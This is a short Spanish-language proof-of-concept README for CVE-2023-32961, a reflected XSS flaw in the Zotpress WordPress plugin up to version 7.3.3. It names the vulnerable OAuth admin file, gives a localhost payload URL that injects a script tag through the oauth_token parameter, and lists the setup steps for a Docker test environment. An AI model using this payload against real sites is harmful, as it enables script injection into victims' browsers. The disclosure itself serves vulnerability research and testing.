
PoC de CVE-2023-32961
Este repositorio trata sobre una vulnerabilidad de XSS en el plugin Zotpress de WordPress.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
Sin autenticación
La función get_request_token en zotpress/lib/admin/admin.accounts.oauth.php es vulnerable a un ataque XSS.
get_request_token. (solo la primera vez)
Envíe un payload como este: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>Necesita una cuenta en zotero.org.
Debe establecer el valor de oauthState en 1 para activarlo. Si el payload anterior no funciona, necesita encontrar una forma de establecer oauthState en 1.
Expresión condicional :
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
Es fácil instalar la extensión PHP de oauth:
Comando de una línea :
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
Probado en la imagen Docker wordpress:latest.